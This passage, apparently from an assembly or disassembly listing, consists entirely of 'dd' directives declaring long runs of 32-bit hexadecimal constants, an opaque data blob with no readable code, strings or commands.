0D7343728h dd 996FAF2Ch, 67806209h, 0F90BD554h, 0CB0D18B4h, 0F902Fh dd 1132BAF8h, 60CA64B2h, 2B788325h, 3C56415h, 0E867031h dd 0B6902ACBh, 6016D015h, 855C7FB7h, 0D98CC531h, 6E5E172Fh dd 0ADD0962h, 0E1107739h, 0A497B1B3h, 0C8525048h, 0BD023471h dd 9511FF97h, 15B1DFE2h, 1540ECD0h, 58FDCAD3h, 0F98D3182h dd 25716575h, 5401550h, 36BF0450h, 0A166823Eh, 0E06A768Fh dd 3EC110FFh, 0ECAF399Ch, 0F1406A6Fh, 4B9EACF2h, 29D38149h dd 43453F11h, 39AA0AA5h, 77B46B88h, 0E0875D0Fh, 6769BE9Eh dd 0C3BFF146h, 0DE232FD4h, 0DE5ABBDEh, 933CD4F9h, 0D1569223h dd 0DA5E56F7h, 0FABF8D5Eh, 80CBDF3Bh, 9A9447E5h, 27EF49E9h dd 0CB04646h, 6F13D9BBh, 2E071294h, 0BF41DCE2h, 342FF52Fh dd 0E3A65268h, 0A1A05B4Ah, 0E2DE951Dh, 0E9A33E63h, 13F43680h dd 578B97D8h, 7760856Fh, 3C0BA105h, 0C60535E9h, 82091D61h dd 3AD72379h, 8A4621h, 0B4234F35h, 7DFCF83Ah, 0A598760Bh dd 1FA1F52Ah, 6C899D33h, 2C7E517Ch, 1DEFC7A1h, 0D08EB663h dd 0FA0BB4F2h, 5C1000C4h, 0C7F99717h, 8209BB26h, 312AE26Ah dd 892E0BC9h, 0DCD1F2FDh, 5BA8C225h, 774970BBh, 2C32F70Eh dd 15E3C28Fh, 0E1D582DBh, 8A89419Dh, 0B8605C40h, 0D94312EAh dd 70E3B233h, 186C6D04h, 90FF3599h, 9FA8BD4h, 123DBD12h dd 0CC4F8AF7h, 0BD1733F5h, 279818D1h, 0D7110051h, 37D8A028h dd 4C0C7057h, 30AD5439h, 5B2040B9h, 2C94680Fh, 53B0B891h dd 7E8161C9h, 0EE8E2F6Bh, 0DE3ADEh, 7B91CBEBh, 3A5081D4h dd 0D495A790h, 2A8D12DEh, 41C480ADh, 1CF8553Fh, 6BB5750h dd 38237EE4h, 4D6B5AB7h, 6485B6Dh, 801505ABh, 54ECF4D3h dd 0F220FA92h, 0BC7E005h, 610F6997h, 4ADCEDF4h, 0EC95ADB4h dd 76FE8C1Bh, 0BDDC0C02h, 0F0BFB08Fh, 0CE1E4B1Dh, 3D3C2F74h dd 89DEADFFh, 830BF6BFh, 0D47C0370h, 14F1C11Ch, 66DD3E1Fh dd 2B38E13Eh, 91E92C8Eh, 85112BCBh, 84E35E0Ch, 4B110C6Eh dd 0EE3A5B8Ah, 0E863AD4Ah, 0F5DB015Dh, 570E5AC9h, 30E44BF1h dd 0DB8053BEh, 0DF810263h, 4F22EEE5h, 854D3155h, 0B7182BCAh dd 3C0047FDh, 9AB68668h, 9507F47Dh, 0B5BD10EEh, 0CCD70E64h dd 0AC295E0Eh, 0C2FF8088h, 0B7572BB9h, 931B9113h, 0E1F789BBh dd 0FDB77095h, 86DD184Bh, 1C12C27Bh, 87409h, 3B9929BFh dd 314A0F4Dh, 868AA89h, 7C4AB600h, 2F93EC64h, 1654D3Bh dd 83694337h, 0C47EA613h, 0DB948556h, 0C20B8495h, 718F05AEh dd 0FF6FAB0Ch, 0DD091523h, 1281545Ah, 11BBF710h, 63000FE9h dd 0E5E399FEh, 743E666Bh, 6AAD9DE7h, 7B238B49h, 811C9h dd 0E58D8735h, 4BD6F655h, 89BECCC6h, 54B9D7Dh, 6828A2DDh dd 0EE87364Bh, 5C82C976h, 8150975Fh, 6A0DB11Dh, 9AD665B2h dd 0DD1F81C3h, 302F4D0Ch, 15B5017Ah, 0BD6A63CBh, 0F2E812C3h dd 404E002Ch, 5FB6C5A8h, 479313E4h, 0AA27FB03h, 55E956ABh dd 5BCB4502h, 0E530FD7Ah, 525CF3E3h, 0C36DC11Ch, 18FCE24Ch dd 8A962C5Fh, 8C0F0989h, 868FB451h, 9BE9D7F2h, 0AD028BB8h dd 26D8F9EEh, 0B06675CCh, 78F73AF5h, 2112AE4Eh, 0B6467DE7h dd 0BC596AB2h, 52A3B700h, 1BE6794h, 920742DEh, 0ECDF1677h dd 9C2559D8h, 1370F411h, 5F8382C8h, 1D51715Eh, 34E214h dd 1901D176h, 4D03A2h, 515042F1h, 0FB6FEBFh, 0E5A5294Bh dd 3BA1A101h, 1588EA5Bh, 404948C2h, 82146583h, 0FB25A478h dd 42C7B30h, 29174DBDh, 2AA1826Fh, 0B5EE16D7h, 5027EF35h dd 25BD7B99h, 8D74C1DFh, 80F2F812h, 0B4D35D89h, 97C20BB8h dd 11375EFAh, 0E5FD4B3Dh, 7CBF6680h, 0BDBDC6E6h, 781101C2h dd 7C45622Bh, 7E6A805Ch, 0E97A40Ch, 64E0AC5Ch, 0AD1E8601h dd 0F7FBF0C3h, 7D465612h, 0EF94704h, 0ADB577BDh, 9EA82Dh dd 8A83EA6Dh, 0C757B43Eh, 0C461D8B7h, 0AF0DE95Dh, 7794C21h dd 95102908h, 0F9E40AFDh, 0A4C9A962h, 0FE34026Bh, 16FC90FCh dd 40F95017h, 38C301BCh, 1BD68B60h, 1361F34Ch, 0D9531D0h dd 8DCB0163h, 61ED1C15h, 2DCCB0F9h, 0D3BD23ADh, 0E92A7861h dd 0BC72F600h, 0D98D2954h, 0FAC6B505h, 0AB629569h, 2992F6DBh dd 0BCB74047h, 4B5AC4ABh, 1842452h, 38B82FE9h, 0F308FF2Dh dd 78EB01CCh, 3F739C29h dd 0BCA13AB7h, 801F2C07h, 5C765952h, 446A025Dh, 3F8EF4FEh dd 0F979A2FDh, 0EB1B5E18h, 0AA75EC05h, 1DC9CF9Ah, 0D14A1E30h dd 77FF8D02h, 634E14DDh, 0E9743807h, 3B482041h, 321DA305h dd 45DBD1FFh, 0BCBFF8C4h, 56BAA51Bh, 0BCF3FD01h, 0E41C0277h dd 26AF87Eh, 1BA00455h, 62ECB412h, 9D0BFEA8h, 0CE950CEAh dd 0B7E925BDh, 37C2B771h, 3A370BADh, 60DCE182h, 773B62A5h dd 0D40056C5h, 3F731728h, 86511297h, 0B2BFE61Dh, 25C8301Ch dd 8C30A80Fh, 0AC92DDE0h, 242043A8h, 4B509039h, 91E0CCE6h dd 0F04ECC27h, 0AB3525BAh, 85BFAC75h, 3B29FF3Fh, 0C09FCC78h dd 7AC33382h, 9AE41B74h, 0E16E6309h, 22C6DF07h, 3177A307h dd 0FBCB6A18h, 0C47D7225h, 0B176026Bh, 0B62DACCh, 0A18451A9h dd 3E22FB29h, 0C4A15CDFh, 10E84440h, 6E14BD40h, 6200340Ch dd 6027C68h, 1218C4DAh, 4490B41h, 162C113Dh, 0F7D05FFh dd 805B098Eh, 0BEE6F705h, 9DB53E08h, 19098889h, 2371E405h dd 0D701E682h, 1CFB8519h, 963A61DFh, 7A06BA59h, 0BCD64C70h dd 0A51300D8h, 672B9BF3h, 0E023DDFh, 162CFF0h, 513DC084h dd 5F9827B3h, 9584A054h, 29301609h, 0CA9475BDh, 51C82B09h dd 465B0012h, 0FEF7B3E8h, 678CC502h, 0D766A126h, 0FF19122h dd 1C4223Bh, 0A2B3F85Fh, 3025E04Eh, 0BA13C382h, 10BF0111h dd 2BF5714Ah, 22067A1Bh, 0B7250249h, 2571C95Ch, 2C80E812h dd 82738C71h, 0DC89F12Fh, 5B4038A5h, 0F854E92Eh, 1712250h dd 5E4FBA7Fh, 2BF38853h, 929D38FCh, 2281E2DEh, 0C62B5C35h dd 0A5FE1220h, 7FFE17A1h, 88162E33h, 28AD068h, 0C5615E6Dh dd 0B788C325h, 860F0B75h, 565AD95Eh, 1682C27Fh, 53C67709h dd 204A19F8h, 9667BABh, 82AABE1Bh, 8E35C793h, 29AA7696h dd 0E1EC017Fh, 6286051Bh, 0B90CC3BCh, 0BE8508A2h, 0E3C1DDDBh dd 7B5759B5h, 0FCE136D1h, 71CE13Eh, 1E2B7492h, 51FD8A89h dd 6C601EF6h, 61EB027Ch, 7DB5D22Bh, 5D46B686h, 0B7DE5A7Ah dd 301BF2F6h, 1373F18Ch, 2BD4F509h, 2D00742Eh, 0B812A0B7h dd 0F4AD90FFh, 494982DBh, 0D3818003h, 123E4FC8h, 0F9880D18h dd 132FECA4h, 0A19DBFDBh, 2AF3C9D7h, 15B2CFA6h, 252CAE30h dd 73CA52B7h, 40444F7Dh, 0B1BAEC4h, 61459282h, 8B6B2DE7h dd 3CE8D736h, 9570B24Ch, 5B1A90C7h, 59CDDD73h, 43209BC1h dd 0A24AD5CAh, 17F447F4h, 0BB01E4BDh, 1DADC016h, 518FCD7h dd 0E1FF3B2Ch, 0E8A0CCC0h, 282EF337h, 34AD511h, 88EF8B64h dd 0BB0966C4h, 715F133Dh, 39D4460Dh, 5274990h, 6797D92Ch dd 0AB93FE86h, 23084F7Ah, 118006E8h, 8C641CF7h, 0C2E0DDF4h dd 605B5435h, 0F8B7F5h, 0C2D01088h, 671229C7h, 0AE1463Dh dd 86BE63Ah, 271579BDh, 656271FEh, 7FE511AFh, 5C8BD170h dd 0ECB60040h, 9B520805h, 0F01DD6A8h, 0FCC77BE7h, 0C710B21Fh dd 7A3A4ABBh, 311A9574h, 1BCD7860h, 608B519Dh, 905205EBh dd 49CAD497h, 0E0736CDDh, 5F0F1737h, 81CC9B90h, 99CB7383h dd 0BD333E85h, 68BE90C5h, 0BF004D71h, 28BB5053h, 9F085866h dd 4E8EB7E8h, 3109A07Eh, 0D51F8D95h, 15913C37h, 0F85DF81h dd 2CF3228Ah, 8860C960h, 3CBAFAh, 6A54F06Dh, 41B529D5h dd 95611240h, 0AA09C19Ah, 0ADB9CB57h, 71EA35D5h, 2A30D1A4h dd 1888F3DDh, 422507F1h, 78BDF78Eh, 298F04B9h, 44AEF585h dd 0AA51B528h, 0BAC0F59Eh, 0CE62566h, 46E12C25h, 4FD497F9h dd 0CA74544Bh, 0E16A2730h, 92DE375Dh, 954F6B8h, 5B30FD9Dh dd 5A3E2B85h, 7C84CA7Dh, 3DD540CAh, 2802817Ch, 9E7D143Ah dd 59F5E0A8h, 0F8302574h, 501BDC54h, 0C7EEB506h, 35CC916h dd 0D630745Ah, 4202A77Eh, 1D476825h, 0BBC3401Ah, 7B24F558h dd 51E25B8h, 0E7CB755h, 0BC37B918h, 6E2D258Ah, 0BD017B6Eh dd 50F855C8h, 0EA9000E3h, 5490955Fh, 258723A9h, 0B00EFB5h dd 141B547Fh, 0F1271C3Ch, 0B66113B4h, 3A71E06Bh, 790F0913h dd 0DC5E555Eh, 7231D30Fh, 0C8DB56B2h, 335630F2h, 0E9EFD772h dd 43FD9C9h, 810583DBh, 1071D11h, 2E5E57E9h, 8957D680h dd 3B001CFCh, 12BB5329h, 0BE1B6452h, 715A4199h, 40488087h dd 462FE6C6h, 6E3F0BB4h, 1D556205h, 75CDD21Ch, 5BDD3C60h dd 0F5E01D84h, 6B28C4BFh, 0D16EBB1Bh, 0ECD6AC07h, 0EB80C125h dd 92282BCDh, 7A3AFD79h, 736D2F92h, 0D7D898Bh, 4469481Eh dd 2D0BD66Bh, 1071B2B8h, 0A1DE6E95h, 56C623DCh, 1746D659h dd 0D87DD604h, 1EC8AAEAh, 8F870BC7h, 0E562987Ah, 53683AD5h dd 2B56507Ah, 5B579018h, 8206A1D0h, 0EF04FA68h, 7E893526h dd 0D9DE9025h, 0AAB00074h, 0B4ED21F1h, 9201731Ch, 0AC3C6BEBh dd 0DEE128C0h, 0A8C7F23Fh, 48EF8EAh, 33417002h, 7CC6C148h dd 56532B36h, 0DF4A9BAFh, 644E70C5h, 0F7ED506h, 0B3204A09h dd 712F5861h, 3E8B094Bh, 0D4A8DF5Dh, 0A96982BFh, 74510607h dd 5FB2441Ah, 4029D718h, 46D65556h, 62C00016h, 4CB660BCh dd 0B4955A33h, 9A95615Bh, 2FFF74B9h, 14590353h, 89953D18h dd 0C0656DCFh, 859AEE1Ch, 6222C701h, 81B38AD6h, 2597FFF0h dd 0FA620221h, 729D5B57h, 12335857h, 0E397C780h, 0FBFE6417h dd 0BCD7FBACh, 5B31221Ah, 3F09B5BDh, 2B828D9Eh, 0CB61353Ah dd 388C8B0h, 0F82964C9h, 0A3CD95EFh, 84601464h, 54C55FB7h dd 9BAA11C5h, 0F4D8D75Bh, 9062F0DAh, 0F363021Ah, 919D2379h dd 52DDA1F5h, 6CC44EBBh, 78A99565h, 437162D3h, 0B3ADB244h dd 0AAFBF84Bh, 0B0604A14h, 0BBD32002h, 0B9D1E387h, 0D4693A00h dd 2DFC42Fh, 7236EFB0h, 3C5C3FFCh, 4EE82B66h, 0E40BA80Bh dd 0F65AD6BCh, 16B8F018h, 83DC094Ah, 0E6788414h, 0F34D109Fh dd 9B8700E3h, 4148A94Fh, 962FA85Bh, 64035E88h, 0CB20BE50h dd 4EEF8767h, 0BC00FFE7h, 47915FBFh, 55EA9556h, 0F9E0B64Dh dd 48FBC7Bh, 346C0959h, 142C8201h, 1B255666h, 48E730Bh dd 0B85FF852h, 0DF81C047h, 46DDC8B3h, 0E54B7A23h, 0F872438Dh dd 0B02AA84Bh, 126A323Dh, 0E2645503h, 1C6F8E32h, 0DE04D627h dd 0E5E0B30Bh, 3F3FE44Ah, 4C009571h, 735510F3h, 0F0128075h dd 52E3F1E1h, 6400D943h, 3AC5D42Fh, 0DB00C60Fh, 6BBD6084h dd 1F41575Eh, 385138C8h, 0F02EB64Ah, 97F819C7h, 49B54416h dd 132E7C80h, 80E9DB1Dh, 8C4DB4DCh, 9ECF2A80h, 0FF90BD6Ch dd 0F3005E6Fh, 2E070E8Ah, 7CC01385h, 8B6D13C9h, 82859BC1h dd 0C060BB05h, 801931AAh, 805EA81h, 6143552Fh, 0A912FEE8h dd 0ACEEB99Dh, 28388C17h, 5B9C241Ah, 90630507h, 896F2B43h dd 293C5035h, 0C09E3E87h, 0E7650E18h, 900F1612h, 45B8E7ADh dd 361FA002h, 0F5C78AA2h, 5147064Fh, 72D0DBC0h, 78225C7Fh dd 4C79711Ah, 0BD1D8B00h, 0D1E50623h, 7E5CDE29h, 8B60A84Ah dd 72BA38h, 0B1546DB8h, 0F064D042h, 480EC509h, 0A5B6540Ch dd 0C45B2989h, 48DB670h, 0F356EA1Eh, 949BEF6Ah, 0A00B72C0h dd 0A7255965h, 0B12DDD29h, 0D5FA894Eh, 6146FF4Fh, 205A19ECh dd 8B0470E7h, 0DBD1FFFEh, 7A28C0CFh, 0D00D6Bh, 0CBFB1039h dd 9D03F881h, 541FDD2Fh, 0A5DF713Ah, 0FE375F40h, 49CFD121h dd 9DDA749Dh, 24D890Bh, 54841A57h, 0D50ED475h, 0E08A229Fh dd 0AD0CBDF3h, 807D9159h, 8199BC4Dh, 8F168623h, 0C81CD983h dd 901613D0h, 5EDEAD60h, 1DEE88h, 0C5E0D3B7h, 585A5D3Eh dd 24D4605Eh, 1B451D8h dd 3D370EFAh, 2B54C516h, 949061E0h, 9101DC67h, 0B589BAA4h dd 602B238Dh, 3F3AD22h, 0DD566C00h, 5F6A46BDh, 1EC6E488h dd 0CB5CF6ABh, 8BB039BBh, 0FD748529h, 5CB049C9h, 0BD2770C1h dd 5DB53180h, 824EAE59h, 6EDB0A5Fh, 0B5C9B6D0h, 1C597653h dd 0C58858h, 0C0D07E66h, 69056FECh, 3280E199h, 0BAD91CFAh dd 85350019h, 0C9F65E28h, 20091DC5h, 5B793F75h, 3295882Eh dd 15A05017h, 0E294D96h, 7B36E5Bh, 5FF2C2FDh, 0DA336B00h dd 0DB4EB7EFh, 5C03A301h, 0A81E9B98h, 4B2613D8h, 211BD985h dd 0C9523A71h, 18B8B7ADh, 0D2DB058Ch, 0EACBF04Ah, 0ED8DAA9Ch dd 58A6921Ah, 0D8CB187Dh, 0B3F9E8F8h, 127DB15Ch, 7AFE1545h dd 1A15003Ah, 8C28B3EBh, 53CE25F8h, 2F4244ECh, 7B0E1422h dd 3DD11Ah, 0C3B78D99h, 850D00DEh, 0CC6A15B0h, 6B24D6A5h dd 0C660E839h, 126477F0h, 0F13A9579h, 0A7CD2A4Eh, 2FE3A12Ah dd 12BF95F0h, 1271E4FFh, 0ED41E4E6h, 7666088h, 8145D8B9h dd 95AC11F2h, 0B6248B1Dh, 8D44C8h, 8221CCA6h, 191F69C7h dd 8F8BE000h, 0EF42B6BEh, 254B93BAh, 89648876h, 0AB7F84FAh dd 7D82FA32h, 0EF7BBE14h, 4E009571h, 10D96277h, 718E095Bh dd 4A0E7A3Ah, 0BF0DF4A2h, 98B3FE00h, 8BF9C82Bh, 0A38B0D1h dd 82E979BDh, 0BEF0A57Fh, 6A4C0851h, 0F41AD8D4h, 893FC0Ah dd 0FE25080Dh, 9D29E0A2h, 739519A1h, 890F04B4h, 0C081E912h dd 4EF10179h, 77DF585Bh, 0E1346101h, 0CD8B0F8Dh, 9003AFFFh dd 5E1ACC8Eh, 895AA19Ch, 795FFBAAh, 4E201148h, 14622EE1h dd 0D624A528h, 95010AD8h, 9D2B076Eh, 33790985h, 233E8041h dd 47BC7B3Dh, 0CB80920Bh, 0F63DDD1Ch, 9DE72205h, 42061DAEh dd 0FE9FF6Fh, 97343F20h, 74F400ECh, 88F071ADh, 1C139B66h dd 8DEA41A8h, 7D41235Fh, 9B3AA906h, 9F20F2F0h, 0B931CBD8h dd 8589592Ah, 0E117523Eh, 0B8336940h, 82FC5F1Ch, 1A5712AAh dd 50587BABh, 330225B5h, 0AE0B70ECh, 0F58A40F0h, 5C4CB50Fh dd 23B35400h, 4349AFF8h, 0A634BDBh, 40E9BAEBh, 32F62ABFh dd 6FCF084Bh, 0D5A5885Ah, 22946F16h, 40E6F003h, 3C2BE8D0h dd 1446E6ECh, 95A9E1B8h, 2D1910h, 0D381605Fh, 4892790Fh dd 4078E447h, 0CD956118h, 411DC0E6h, 53041856h, 880D1182h dd 4E516D8Ch, 199F710h, 0A407D781h, 0DA6B589Dh, 0C81DC805h dd 0E594078Fh, 99E04E36h, 8BB718BEh, 822C9597h, 1EE18D31h dd 7AD8FB55h, 4F0FAB40h, 91A55D50h, 50CE0D4Bh, 35A23422h dd 9F687057h, 0B7C3F2F9h, 0DD2610BAh, 0E1FF1714h, 0A02502F2h dd 4F404CF4h, 98C6702h, 3EDD909h, 5B7191D5h, 9229282Fh dd 0C0C6044Dh, 0F8EF5234h, 4251005Bh, 0E395A8B0h, 53094581h dd 793572B9h, 0AA8A4530h, 0E600BE8Ah, 0CC923AB6h, 301371EDh dd 71F80A3Fh, 914304A5h, 0E149BC13h, 9E2F0428h, 36D981FDh dd 99F52FB4h, 0DB6B60D9h, 0A25B80CBh, 0B7C7DEFDh, 4E3C165Ah dd 41C44B8Bh, 9D309F8h, 3E78FA4Fh, 56392397h, 44B68501h dd 0BB1478F0h, 81FB1607h, 29314A2Dh, 55E6F18Dh, 0D3AF7B45h dd 593C50EEh, 0E6FC2825h, 31BDEC5Eh, 0DA63033Dh, 5DB16090h dd 405E3B4Eh, 6D74F86Dh, 2A2476F9h, 502812CAh, 821270E0h dd 4E54CD7h, 0AEE44C6Dh, 0F3B7047Bh, 5B79A2BFh, 0E8376F58h dd 9F798813h, 0A50070FCh, 632D90B2h, 19E946Bh, 0A1999C21h dd 6A0178D7h, 0D05837C6h, 8F03393Ch, 0C515D8Dh, 0CC5AF4F7h dd 8B3D535Eh, 0EF9BF9F8h, 2991178h, 74129B8Ch, 55C6B8F3h dd 126FA9Fh, 0AB3A598Eh, 2BB4026Ah, 7452FE32h, 4CC1048Eh dd 0D482BC5Bh, 2B8ED6EDh, 3C9C6418h, 0C832FEC7h, 4F02765Bh dd 0F9316495h, 0CBF33816h, 0FADBAAD9h, 0E49D140Dh, 646900CCh dd 0D219113Bh, 79055630h, 18989307h, 0C6BB41C1h, 0B16A2DD9h dd 6A51E5A9h, 91B045B7h, 0CD1C4E8Bh, 84791FBFh, 2A499D0Bh dd 5B5ECBEAh, 0D48044DAh, 6A108220h, 5FB5092Dh, 0B9893104h dd 287BCD3h, 978B68E7h, 0D184440Dh, 88DA9BCBh, 890CC017h dd 0A4C953ABh, 5D05923Dh, 9979564h, 1904DFEAh, 0BCE51202h dd 0DA4AB52Ah, 0F1804B0Eh, 0C80A891Eh, 0BF968D04h, 5E1608C2h dd 34C1E9CDh, 0F868032Dh, 0BDF2AE13h, 0E0B515C6h, 25F0E047h dd 43FB0D70h, 1E3CE70h, 55D5A3B0h, 85D98E66h, 858DFEB4h dd 43E035F7h, 0D017618h, 7314F0ADh, 2B09E88Ah, 24046B8Ah dd 0C15FDC97h, 0C577BF80h, 1E206E50h, 626023h, 0C065E11Ch dd 2BD81EBh, 152C7D3Eh, 5B1514D5h, 30055B8h, 7CAC9837h dd 0BC0035E6h, 0F7199CA1h, 0B034BB94h, 5F1F0918h, 0A889905Bh dd 0AFD6B5FFh, 411731B1h, 23A5D7h, 27958961h, 4FC8087Dh dd 414B57DBh, 803FF1CBh, 0A6C5CE25h, 771E621Ah, 0E1809AB7h dd 0D518B8D7h, 0C2794E7Ch, 50270DF2h, 0F49A5609h, 9390B800h dd 62425B73h, 0C07195B6h, 0E3ADBE80h, 0B00FAC19h, 0DB549D6Ch dd 7CE6CD25h, 86051546h, 88870FCFh, 0BA9651F5h, 6C9E049h dd 899F0F42h, 0E1EE18B4h, 0B2665D07h, 8F3F95Fh, 532A70h dd 0B6C2D9D4h, 0EDD8529h, 0A8CFE9B9h, 16467E80h, 28705309h dd 114BA6D8h, 4F22FACEh, 2B2926C4h, 0CBDD9ADh, 3607B53Dh dd 399D2B38h, 0C1BA90F9h, 21389D08h, 5209C381h, 57587277h dd 48408F15h, 12FBDCA2h, 0C8550627h, 6D0088F1h, 3656A724h dd 4530C9Bh, 8DEE39D6h, 8FD5BFC6h, 0F74C52AFh, 0FB9A5A34h dd 897F9D83h, 4123D199h, 7B0CE97Eh, 800003A7h, 8F8E04F3h dd 0E40028FBh, 0A86946BAh, 829A3A4h, 3DD0F10Bh, 5544E2AFh dd 1C649C6Dh, 0AE5E1060h, 13068D12h, 32BCD684h, 0CDD381C0h dd 705652C0h, 0BD205AC7h, 65DE6Bh, 0A50910F7h, 668C0E41h dd 3F3E9701h, 4720BF88h, 0FCED362Fh, 5515A125h, 30271FB7h dd 4A0F7534h, 0BB544283h, 92422A22h, 6944EDF7h, 71000B5Bh dd 13751C36h, 0F79A25F0h, 65318710h, 4771002h, 496D8D01h dd 123A5F92h, 0B903BD07h, 9CB3078h, 4D185F0Bh, 5088028Dh dd 7174CF20h, 0C403BD32h, 0B6AADE8Bh, 0FCB6A44Bh, 90E8BD00h dd 0FF20C723h, 7FAE6012h, 0EF78CBFh, 0B9501600h, 0BE45DA41h dd 8C1B072Ch, 2411729Dh, 0E94994DDh, 0F9B7EC18h, 0B84A9D78h dd 621CAA08h, 6B6A6C51h, 0AF47BBFCh, 60505BE0h, 6F81510Fh dd 0D1804028h, 4C20BEF1h, 86F2492Ch, 49295C49h, 549960D5h dd 45EA9761h, 34C049EDh, 0B59A5C25h, 1C40A050h, 279070BFh dd 0BBCE1B32h, 7B18FD25h, 5ABF871Eh, 4452C6F6h, 0E712D525h dd 3E4611E7h, 48E5CA01h, 0CA99A07Ah, 500F224Eh, 0DBDB33F9h dd 4325EF96h, 250389F2h, 0EB129031h, 8BD24288h, 0DD81FA4Eh dd 2E622F01h, 0D7B53193h, 0B80120BBh, 9E713300h, 39E2EEF4h dd 97090092h, 130AEB81h, 9897161Ah, 5CC780C2h, 0CD15DD3Dh dd 18982F0Ch, 0E5950901h, 0C99C700Ch, 8C7FF302h, 4828E01h dd 0E14E2CFAh, 84D89E7Bh, 6AB5DFCh, 62D98B46h, 971FCC95h dd 0F038D6D8h, 0B7F94FC6h, 0CF9534BCh, 601A64FDh, 7F39316Ch dd 29012587h, 0DF911090h, 48CA274Eh, 0B25FF454h, 80339167h dd 528D22C8h, 461CEA2Eh, 17005B99h, 30F0C91Bh, 0A1E92D24h dd 0B727F054h, 0FC37004Bh, 27687332h, 5FE02D09h, 8DCDFDEEh dd 0F27677E0h, 5B0B12EBh, 0CCE8F0BAh, 0EEFCCD25h, 591EB3E9h dd 0C33FFCh, 0AB889C0Fh, 9758BD50h, 3F5B1F40h, 158FBF90h dd 0E0D211E4h, 900B761h dd 0DBB310Fh, 6C406Dh, 0B966585Ah, 9061575Eh, 0C2CFEDBDh dd 845F86AAh, 0CCEB0CF4h, 3924D756h, 0AA38B289h, 0DAF20D24h dd 24C183A2h, 2F62F23h, 60A056F3h, 921D2D99h, 2613E595h dd 6E3F00A1h, 9AA703FDh, 8D50FC14h, 51EA9D84h, 0C4AD2788h dd 85A4DE27h, 9D9DB1Dh, 0DE537CEDh, 2BCB7501h, 0BD33A1B7h dd 0A7BAB4CFh, 0AFBF3C3Ah, 0D63E5636h, 3A43B09Fh, 279C00A7h dd 48CE9F91h, 0FF2DF14Ch, 0E0CC3D1h, 758D297Bh, 8809A3D3h dd 0C844A58Ch, 6F201700h, 64AE3769h, 0E09202C6h, 0AD1F1D8Ah dd 6A5B3890h, 366E025Ah, 0E3C92C03h, 0AA10EC95h, 90141605h dd 39128E57h, 6CD7BA7Dh, 0D15802B9h, 0E9927D18h, 517345F7h dd 0D1AC3F75h, 9222058h, 0A615F99Dh, 8CE989A7h, 0DD70A65Eh dd 0EF8080CDh, 0BC109A59h, 2C450080h, 0CB816A48h, 5D27ADDAh dd 0D6505E55h, 67131546h, 99AA247h, 7FE0F31Ch, 683967E9h dd 0C0F44C87h, 0A7B08772h, 33D70092h, 2E02BB06h, 27BC1CB7h dd 0D278102Dh, 49CB00C3h, 0AE67C4F7h, 0D9028AD4h, 9DD7ECE8h dd 0C0797F5Fh, 0C03274FAh, 4DCC72E6h, 0C73CB402h, 5E7A3DF3h dd 0BCF8C4B1h, 6BA5ACh, 1033602h, 8955685Bh, 0ADAF719Ah dd 0BC181F04h, 8C19FCAFh, 6BEEAF02h, 0E2BF30F1h, 91585F64h dd 98947997h, 202D6C60h, 0D7BF1BC2h, 0C6995E61h, 8B582DCEh dd 0DA0864BBh, 853BC0ABh, 97843065h, 49B66F24h, 96478F5h dd 32E58D01h, 4F38ECF7h, 0C9FEEC83h, 135C798Dh, 2642AFFCh dd 5E46BABFh, 0E67E2D3Fh, 0F5C82B61h, 67BFD1E4h, 717642FAh dd 4477E9FEh, 72A4AE57h, 29B53409h, 0E7D2FFE5h, 0B1DA768Dh dd 4709C958h, 37780C0Fh, 4CD2954Bh, 80C92E12h, 0DEBFE368h dd 20F3C206h, 25153DE9h, 3BE63BB7h, 0C7F9BB04h, 31BC4D4Ch dd 81802788h, 2E4BF6CFh, 1280A95Fh, 3E37292Fh, 6695394Ah dd 45BD3C3Ch, 0AA38612Eh, 0EB91054Dh, 38923DC6h, 895389A9h dd 5E0BB510h, 0FE66EC48h, 0A00FB92Eh, 0DEB2A6h, 0EA722CE7h dd 8B4FAD12h, 5DD77C25h, 919D0B18h, 8A891641h, 147B1109h dd 5024F325h, 36502662h, 2E315E1h, 29CD75FCh, 292A31C0h dd 0DEF90B0Ch, 0EA7CC02Bh, 432A09DCh, 0C55976F2h, 0F918CC05h dd 6EF2AEh, 8C334521h, 0F88FFF95h, 74FD2590h, 660935E4h dd 79946ABBh, 60FCE034h, 1FBE820Fh, 2B2CBE40h, 0E9B52A8Bh dd 6E614EE9h, 72090026h, 0D780C4E5h, 1BB297B5h, 314FA17Fh dd 4A28C18Dh, 0C883DA5Bh, 0E0D5C018h, 0FD0125F7h, 19A9E781h dd 0F86A6CBDh, 94EED2A9h, 7C6BAE27h, 7F001823h, 0FAD41E6Fh dd 85292D51h, 5F598455h, 0B608B2AAh, 0F7155E80h, 0A56A636h dd 30907F67h, 0F6B04E8h, 1728FB8Eh, 0C02E1D28h, 0B5ED031Ah dd 0BC8C6743h, 85C2A361h, 857ABAh, 0B7EA599Eh, 9815B3C6h dd 8D0F2402h, 0E845B1h, 0BAC27546h, 7804F3B4h, 0CB69BB2Dh dd 0AE9A34ABh, 69ADD156h, 0D2DFCE8h, 0A7367B4Bh, 0A850A373h dd 484201F9h, 0B3C22AD0h, 780B3A69h, 7E3E5E1Ch, 0DB1C1D46h dd 9BD30037h, 0FA7AE1CBh, 89519412h, 0AE5B95AFh, 846E292Ch dd 8BEF813Ch, 777492C0h, 1533E910h, 91DFAB00h, 0A071FDA7h dd 57CF018Bh, 480798B8h, 0A605307Fh, 5E062016h, 58B33ABCh dd 1F9625Ah, 0F9B097BCh, 0FDCAD84Bh, 0ED4AF634h, 0DF30BD3Ch dd 0BD0317A4h, 8FEBD19h, 131509B5h, 1A6EFA60h, 0B8759B01h dd 2F8092A6h, 8D29FF02h, 36875BDh, 579404E1h, 0E3B602DCh dd 19CD9D33h, 4596E655h, 0D9756044h, 0FBDD094Bh, 0E388123Eh dd 25BB4BDFh, 0CBEDA8F9h, 1932773Fh, 2569597Fh, 6AF91EA2h dd 0DE8DDCh, 0FCFF4C8Eh, 0A95BF03Ah, 0BBB2CC01h, 51CBBC40h dd 0F810293Ah, 1A1D73A3h, 92825041h, 743975C8h, 86BF8F02h dd 0EF733244h, 20B380B4h, 0DAF45B4Ch, 0F7E29B97h, 9C4371F9h dd 0AA546D5Fh, 85DBEB04h, 0A168CAABh, 2120CA79h, 2929B7B1h dd 7BB7465Ah, 29D178FDh, 6B3A1904h, 73E8E94Dh, 84552380h dd 583E5DAAh, 8C4E001Bh, 0C3CC8826h, 0C89E1F1Dh, 0C259EFCFh dd 0EEE95F85h, 0A176A7BBh, 0D4CC35A7h, 0D5E30F89h, 60627D15h dd 0A1728D09h, 0D6B8615Eh, 90DCC4Bh, 7AE4DEEDh, 0DE0E8997h dd 0DB00F6BAh, 34E09C52h, 218BC96h, 